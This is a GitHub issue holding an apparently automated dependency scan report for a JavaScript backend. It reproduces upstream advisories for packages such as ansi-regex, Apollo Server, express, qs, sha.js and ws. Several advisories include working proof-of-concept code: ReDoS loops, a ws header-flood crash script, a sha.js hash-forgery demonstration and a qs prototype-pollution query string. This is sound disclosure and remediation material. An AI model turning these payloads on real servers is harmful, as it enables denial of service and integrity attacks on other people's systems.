Skip to content

CRITICAL Security Issues - VictorDoyle/React-FlixAlways-Backend - scan_20251001_031455 #5

@VictorDoyle

Description

@VictorDoyle

Security Scan Report: VictorDoyle/React-FlixAlways-Backend

Scan ID: scan_20251001_031455
Generated: 2025-10-01 03:17:48 UTC
Repository: VictorDoyle/React-FlixAlways-Backend
Primary Language: JavaScript

Gitleaks Secret Scanning Results

No secrets detected

Snyk Vulnerability Scanning Results

163 vulnerabilities found

Snyk Code Analysis Results

No code issues detected

OWASP Dependency Check Results

39 dependency vulnerabilities found

  • GHSA-93q8-gq69-wqmw: ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)* (CVSS: 7.5)

  • GHSA-93q8-gq69-wqmw: ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)* (CVSS: 7.5)

What kind of vulnerability is it?

Apollo Server can log sensitive information (Studio API keys) if they are passed incorrectly (with leading/trailing whitespace) or if they have any characters that are invalid as part of a header value.

Who is impacted?

Users who (all of the below):

  • use either the schema reporting or usage reporting feature
  • use an Apollo Studio API key which has invalid header values
  • use the default fetcher (node-fetch) or configured their own node-fetch fetcher

The following node snippet can test whether your API key has invalid header values. This code is taken directly from node-fetch@2's header value validation code.

const invalidHeaderCharRegex = /[^\t\x20-\x7e\x80-\xff]/;
if (invalidHeaderCharRegex.test('<YOUR_API_KEY>')) {
  console.log('potentially affected');
}
console.log('unaffected');

If the provided API key is not a valid header value, whenever Apollo Server uses that API key in a request (to Studio, for example), node-fetch will throw an error which contains the header value. This error is logged in various ways depending on the user's configuration, but most likely the console or some configured logging service.

Patches

This problem is patched in the latest version of Apollo Server as soon as this advisory is published.

Workarounds

  • Try retrieving a new API key from Studio. Note: this may not work if the invalid character is not part of the secret (it may be derived from identifiers like graph name, user name).
  • Override the fetcher
  • Disable schema reporting and/or usage reporting

Solution

  • Apollo Server will now call .trim() on incoming API keys in order to eliminate leading/trailing whitespace and log a warning when it does so.
  • Apollo Server will now perform the same validation of API keys as node-fetch@2 performs on header values on startup. Apollo Server will throw an error on startup (i.e., fail to start completely) and notify the user their API key is invalid along with the offending characters. (CVSS: N/A)
  • GHSA-qm7x-rc44-rrqw: ### Impact
    In certain configurations, Apollo Server serves the client-side web app "GraphQL Playground" from the same web server that executes GraphQL operations. This web app has access to cookies and other credentials associated with the web server's operations. There is a cross-site scripting vulnerability in GraphQL Playground that allows for arbitrary JavaScript code execution in your web server's origin. If a user clicks a specially crafted link to your GraphQL Playground page served by Apollo Server, an attacker can steal cookies and other private browser data.

Details of the underlying GraphQL Playground vulnerability are available in this graphql-playground advisory. (A similar vulnerability exists in the related graphiql project.) This advisory focuses on identifying whether Apollo Server installations are vulnerable and mitigating the vulnerability in Apollo Server; see the other advisories for details on the XSS vulnerability itself.

The impact of this vulnerability is more severe if (as is common) your GraphQL server's origin URL is an origin that is used to store sensitive data such as cookies.

In order for this vulnerability to affect your Apollo Server installation, it must actually serve GraphQL Playground. The integration between Apollo Server and GraphQL Playground is different in Apollo Server 2 and Apollo Server 3. You can tell which version of Apollo Server you are running by looking at the version of the package from which you import the ApolloServer class: this may be apollo-server, apollo-server-express, apollo-server-lambda, etc.

Apollo Server 3

Apollo Server 3 does not serve GraphQL Playground by default. It has a landing page plugin system and the default plugin is a simple splash page that is not vulnerable to this exploit, linking to Apollo Sandbox Explorer. (We chose to change the default because GraphQL Playground is not actively maintained.)

If you are running Apollo Server 3, then you are only vulnerable if you explicitly import the ApolloServerPluginLandingPageGraphQLPlayground plugin and pass it to your ApolloServer's constructor in the plugins array. Otherwise, this advisory does not apply to your server.

Apollo Server 2

Apollo Server 2 serves GraphQL Playground by default, unless the NODE_ENV environment variable is set to production, or if you explicitly configure it via the playground option to the ApolloServer constructor.

Your Apollo Server 2 installation is vulnerable if any of the following is true:

  • You pass playground: true to the ApolloServer constructor
  • You pass some other object like playground: {title: "Title"} to the ApolloServer constructor
  • You do not pass any playground option to the ApolloServer constructor, and the NODE_ENV environment variable is not set to production

Apollo Server 1

Apollo Server 1 included graphiql instead of graphql-playground. graphiql isn't automatically enabled in Apollo Server 1: you have to explicitly call a function such as graphiqlExpress to enable it. Because Apollo Server 1 is not commonly used, we have not done a detailed examination of whether the integration between Apollo Server 1 and graphiql is vulnerable to a similar exploit. If you are still using Apollo Server 1, we recommend you disable graphiql by removing the graphiqlExpress call, and then upgrade to a newer version of Apollo Server.

Patches and workarounds

There are several approaches you can take to ensure that your server is not vulnerable to this issue.

Upgrade Apollo Server

The vulnerability has been patched in Apollo Server 2.25.3 and Apollo Server 3.4.1. To get the patch, upgrade your Apollo Server entry point package to one of the fixed versions; this package may be apollo-server, apollo-server-express, apollo-server-lambda, etc. Additionally, if you depend directly on apollo-server-core in your package.json, make sure that you upgrade it to the same version.

Upgrade Playground version only

If upgrading to the latest version of Apollo Server 2 or 3 quickly will be challenging, you can configure your current version of Apollo Server to serve the latest version of the GraphQL Playground app. This will pin your app to serve a specific version of GraphQL Playground and you will not receive updates to it when you upgrade Apollo Server later, but this may be acceptable because GraphQL Playground is not actively maintained.

The way to do this depends on what version of Apollo Server you're using and if you're already configuring GraphQL Playground.

  • Apollo Server 3: If you are using Apollo Server 3, then you are only vulnerable if your serve explicitly calls ApolloServerPluginLandingPageGraphQLPlayground and passes it to the Apollo Server constructor in the plugins array. Add the option version: '1.7.42' to this call, so it looks like:
plugins: [ApolloServerPluginLandingPageGraphQLPlayground({version: '1.7.42'})]
  • Apollo Server 2 with no explicit playground option: If you are using Apollo Server 2 and do not currently pass the playground option to new ApolloServer, add a playground option like so:
new ApolloServer({ playground: process.env.NODE_ENV === 'production' ? false : { version: '1.7.42' } })
  • Apollo Server 2 with playground: true or playground: {x, y, z}: If you are using Apollo Server 2 and currently pass true or an object to new ApolloServer, pass the version option under the playground option like so:
new ApolloServer({ playground: { version: '1.7.42', x, y, z } })

Disable GraphQL Playground

If upgrading Apollo Server or GraphQL Playground is challenging, you can also disable GraphQL Playground.

In Apollo Server 3, remove the call to ApolloServerPluginLandingPageGraphQLPlayground from your ApolloServer constructor's plugins array. This will replace GraphQL Playground with a simple splash page. See the landing page plugins docs for details.

In Apollo Server 2, add playground: false to your ApolloServer constructor: new ApolloServer({ playground: false }). This will replace GraphQL Playground with an attempt to execute a GraphQL operation, which will likely display an error in the browser.

If you disable GraphQL Playground, any users who rely on it to execute GraphQL operations will need an alternative, such as the Apollo Studio Explorer's account-free Sandbox.

Credit

This vulnerability was discovered by @Ry0taK. Thank you!

The fix to GraphQL Playground was developed by @acao and @glasser with help from @imolorhe, @divyenduz, and @benjie.

For more information

If you have any questions or comments about this advisory:

  • GHSA-2p3c-p3qw-69r4: ### Impact
    The graphql-upload npm package can execute GraphQL operations contained in content-type: multipart/form-data POST requests. Because they are POST requests, they can contain GraphQL mutations. Because they use content-type: multipart/form-data, they can be "simple requests" which are not preflighted by browsers.

If your GraphQL server uses graphql-upload and uses SameSite=None cookies for authentication, then JS on any origin can cause browsers to send cookie-authenticated mutations to your GraphQL server, which will be executed without checking your CORS policy first. (The attack won't be able to see the response to the mutation if your CORS policy is set up properly, but the side effects of the mutation will still happen.)

Additionally, if your GraphQL server uses graphql-upload and relies on network properties for security (whether by explicitly looking at the client's IP address or by only being available on a private network), then JS on any origin can cause browsers (which may be on a private network or have an allowed IP address) to send mutations to your GraphQL server, which will be executed without checking your CORS policy first. (This attack does not require your server to use cookies. It is in some cases prevented by some browsers such as Chrome.)

Apollo Server 2 bundled graphql-upload and enabled it by default, so by default, Apollo Server 2 servers are vulnerable to these CSRF attacks. (Apollo Server 1 did not bundle graphql-upload. Apollo Server 3 no longer bundles graphql-upload, although AS3's docs do document how to manually integrate with graphql-upload.) It is enabled even if your server makes no use of the upload functionality.

If you are running Apollo Server 2 (older than v2.25.4) and do not specify uploads: false to new ApolloServer, then you are vulnerable to this CSRF mutation attack.

We recently introduced an opt-in CSRF prevention feature in Apollo Server 3.7. This feature successfully protects against CSRF even if you have manually integrated your AS3.7 server with graphql-upload. However, this feature is not available for Apollo Server 2.

Patches

If you are using Apollo Server 2 and do not actually use uploads in your schema (ie, the Upload scalar is not used as the argument to any field or in any input object definition, and you do not specify uploads to new ApolloServer), then upgrading to Apollo Server 2.25.4 will automatically disable graphql-upload in your server. This will fix the CSRF mutation vulnerability.

Upgrading to v2.25.4 does still leave your server vulnerable to non-mutation CSRF attacks such as timing attacks against query operations. To protect yourself against these potentially lower impact CSRF attack, we encourage upgrading to Apollo Server v3.7 and enabling CSRF prevention. See the Apollo Server 3 migration guide and the CSRF prevention docs for details.

If you are actively using the uploads feature with Apollo Server 2, then upgrading to v2.25.4 will not disable the feature and you will still be vulnerable. You should instead upgrade to v3.7 and enable the CSRF prevention feature.

If you are manually integrating the graphql-upload package with any version of Apollo Server (or any Node GraphQL server) and need to continue using the feature, then you must enable some sort of CSRF prevention feature to fix this vulnerability. We recommend the CSRF prevention feature in Apollo Server 3.7.

Workarounds

Instead of upgrading your Apollo Server 2 server, you can specify uploads: false to new ApolloServer to disable the graphql-upload integration and protect against CSRF mutations. (Only do this if you do not actually use the uploads feature in your server!) This will still leave your server vulnerable to non-mutation CSRF attacks such as timing attacks against query operations; you need to upgrade to v3.7 and enable CSRF prevention to protect against these attacks.

Related work

body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.

Patches

this issue is patched in 1.20.3

References

(CVSS: 7.5)

  • GHSA-v6h2-p8h4-qcjw: A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component. (CVSS: 3.0999999046325684)
  • GHSA-grv7-fg5c-xmjg: The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
    (CVSS: 7.5)
  • GHSA-pxg6-pf52-xh8x: ### Impact

The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.

A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.

Patches

Upgrade to 0.7.0, which updates the validation for name, path, and domain.

Workarounds

Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.

References

  • GHSA-wm7h-9275-46v2: This affects all versions of the package dicer. A malicious attacker can send a modified form to the server and crash the Node.js service. A complete denial of service can be achieved by sending the malicious form in a loop. (CVSS: 7.5)
  • GHSA-rv95-896h-c2vc: ### Impact

Versions of Express.js prior to 4.19.2 and pre-release alpha and beta versions before 5.0.0-beta.3 are affected by an open redirect vulnerability using malformed URLs.

When a user of Express performs a redirect using a user-provided URL Express performs an encode using encodeurl on the contents before passing it to the location header. This can cause malformed URLs to be evaluated in unexpected ways by common redirect allow list implementations in Express applications, leading to an Open Redirect via bypass of a properly implemented allow list.

The main method impacted is res.location() but this is also called from within res.redirect().

Patches

expressjs/express@0867302
expressjs/express@0b74695

An initial fix went out with [email protected], we then patched a feature regression in 4.19.1 and added improved handling for the bypass in 4.19.2.

Workarounds

The fix for this involves pre-parsing the url string with either require('node:url').parse or new URL. These are steps you can take on your own before passing the user input string to res.location or res.redirect.

References

expressjs/express#5539
koajs/koa#1800
https://expressjs.com/en/4x/api.html#res.location (CVSS: 6.099999904632568)

In express <4.20.0, passing untrusted user input - even after sanitizing it - to response.redirect() may execute untrusted code

Patches

this issue is patched in express 4.20.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

  1. The attacker MUST control the input to response.redirect()
  2. express MUST NOT redirect before the template appears
  3. the browser MUST NOT complete redirection before:
  4. the user MUST click on the link in the template
    (CVSS: 5.0)

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems. (CVSS: N/A)

  • GHSA-pfrx-2q88-qq97: The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket. (CVSS: 5.300000190734863)
  • GHSA-43f8-2h32-f4cj: The npm package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity (CVSS: 5.300000190734863)
  • GHSA-rc47-6667-2j5j: http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library. (CVSS: 7.5)
  • GHSA-8cf7-32gw-wr33: # Overview

Versions <=8.5.1 of jsonwebtoken library could be misconfigured so that legacy, insecure key types are used for signature verification. For example, DSA keys could be used with the RS256 algorithm.

Am I affected?

You are affected if you are using an algorithm and a key type other than the combinations mentioned below

Key type algorithm
ec ES256, ES384, ES512
rsa RS256, RS384, RS512, PS256, PS384, PS512
rsa-pss PS256, PS384, PS512

And for Elliptic Curve algorithms:

alg Curve
ES256 prime256v1
ES384 secp384r1
ES512 secp521r1

How do I fix it?

Update to version 9.0.0. This version validates for asymmetric key type and algorithm combinations. Please refer to the above mentioned algorithm / key type combinations for the valid secure configuration. After updating to version 9.0.0, If you still intend to continue with signing or verifying tokens using invalid key type/algorithm value combinations, you’ll need to set the allowInvalidAsymmetricKeyTypes option to true in the sign() and/or verify() functions.

Will the fix impact my users?

There will be no impact, if you update to version 9.0.0 and you already use a valid secure combination of key type and algorithm. Otherwise, use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.

(CVSS: 8.100000381469727)

In versions <=8.5.1 of jsonwebtoken library, lack of algorithm definition and a falsy secret or key in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.

Am I affected?

You will be affected if all the following are true in the jwt.verify() function:

  • a token with no signature is received
  • no algorithms are specified
  • a falsy (e.g. null, false, undefined) secret or key is passed

How do I fix it?

Update to version 9.0.0 which removes the default support for the none algorithm in the jwt.verify() method.

Will the fix impact my users?

There will be no impact, if you update to version 9.0.0 and you don’t need to allow for the none algorithm. If you need 'none' algorithm, you have to explicitly specify that in jwt.verify() options. (CVSS: 6.400000095367432)

Versions <=8.5.1 of jsonwebtoken library can be misconfigured so that passing a poorly implemented key retrieval function (referring to the secretOrPublicKey argument from the readme link) will result in incorrect verification of tokens. There is a possibility of using a different algorithm and key combination in verification than the one that was used to sign the tokens. Specifically, tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm. This can lead to successful validation of forged tokens.

Am I affected?

You will be affected if your application is supporting usage of both symmetric key and asymmetric key in jwt.verify() implementation with the same key retrieval function.

How do I fix it?

Update to version 9.0.0.

Will the fix impact my users?

There is no impact for end users (CVSS: 5.0)

  • GHSA-f8q6-p94x-37v3: A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service. (CVSS: 7.5)
  • GHSA-xvch-5gv4-984h: Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95). (CVSS: 9.800000190734863)
  • GHSA-r683-j2x4-v87g: node-fetch forwards secure headers such as authorization, www-authenticate, cookie, & cookie2 when redirecting to a untrusted site. (CVSS: 8.800000190734863)
  • GHSA-px4h-xg32-q955: The normalize-url package before 4.5.1, 5.x before 5.3.1, and 6.x before 6.0.1 for Node.js has a ReDoS (regular expression denial of service) issue because it has exponential performance for data: URLs. (CVSS: 7.5)
  • GHSA-8v63-cqqc-6r2c: object-path is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). The del() function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like toString on all objects. (CVSS: 7.5)
  • GHSA-v39p-96qg-c8rf: This affects the package object-path before 0.11.6. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition currentPath === '__proto__' returns false if currentPath is ['__proto__']. This is because the === operator returns always false when the type of the operands is different. (CVSS: 5.599999904632568)
  • GHSA-76c9-3jph-rj3q: ### Impact

A bug in on-headers versions < 1.1.0 may result in response headers being inadvertently modified when an array is passed to response.writeHead()

Patches

Users should upgrade to 1.1.0

Workarounds

Uses are encouraged to upgrade to 1.1.0, but this issue can be worked around by passing an object to response.writeHead() rather than an array. (CVSS: 3.4000000953674316)

  • GHSA-hj48-42vr-x3v9: Affected versions of npm package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity. (CVSS: 5.300000190734863)
  • GHSA-9wv6-86v2-598j: ### Impact

A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b.

Patches

For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.

These versions add backtrack protection when a custom regex pattern is not provided:

They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.

Version 7.1.0 can enable strict: true and get an error when the regular expression might be bad.

Version 8.0.0 removes the features that can cause a ReDoS.

Workarounds

All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b to /:a-:b([^-/]+).

If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.

Details

Using /:a-:b will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/. This can be exploited by a path such as /a${'-a'.repeat(8_000)}/a. OWASP has a good example of why this occurs, but the TL;DR is the /a at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the :a-:b on the repeated 8,000 -a.

Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.

References

The regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of path-to-regexp, originally reported in CVE-2024-45296

Patches

Upgrade to 0.1.12.

Workarounds

Avoid using two parameters within a single path segment, when the separator is not . (e.g. no /:a-:b). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking.

References

  • GHSA-9wv6-86v2-598j
  • https://blakeembrey.com/posts/2024-09-web-redos/ (CVSS: 7.5)
  • GHSA-hrpp-h998-j3pp: qs before 6.10.3 allows attackers to cause a Node process hang because an __ proto__ key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4. (CVSS: 7.5)
  • GHSA-c2qf-rxjj-qqgw: Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range. (CVSS: 7.5)
  • GHSA-c2qf-rxjj-qqgw: Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range. (CVSS: 7.5)
  • GHSA-m6fv-jmcg-4jfg: ### Impact

passing untrusted user input - even after sanitizing it - to SendStream.redirect() may execute untrusted code

Patches

this issue is patched in send 0.19.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

  1. The attacker MUST control the input to response.redirect()
  2. express MUST NOT redirect before the template appears
  3. the browser MUST NOT complete redirection before:
  4. the user MUST click on the link in the template
    (CVSS: 5.0)

passing untrusted user input - even after sanitizing it - to redirect() may execute untrusted code

Patches

this issue is patched in serve-static 1.16.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

  1. The attacker MUST control the input to response.redirect()
  2. express MUST NOT redirect before the template appears
  3. the browser MUST NOT complete redirection before:
  4. the user MUST click on the link in the template
    (CVSS: 5.0)

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe

Or just:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 }
    This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:'1e99'}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration) (CVSS: 9.100000381469727)

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in [email protected] (websockets/ws@00c425e) and backported to [email protected] (websockets/ws@78c676d) and [email protected] (websockets/ws@76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.
(CVSS: 5.300000190734863)

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

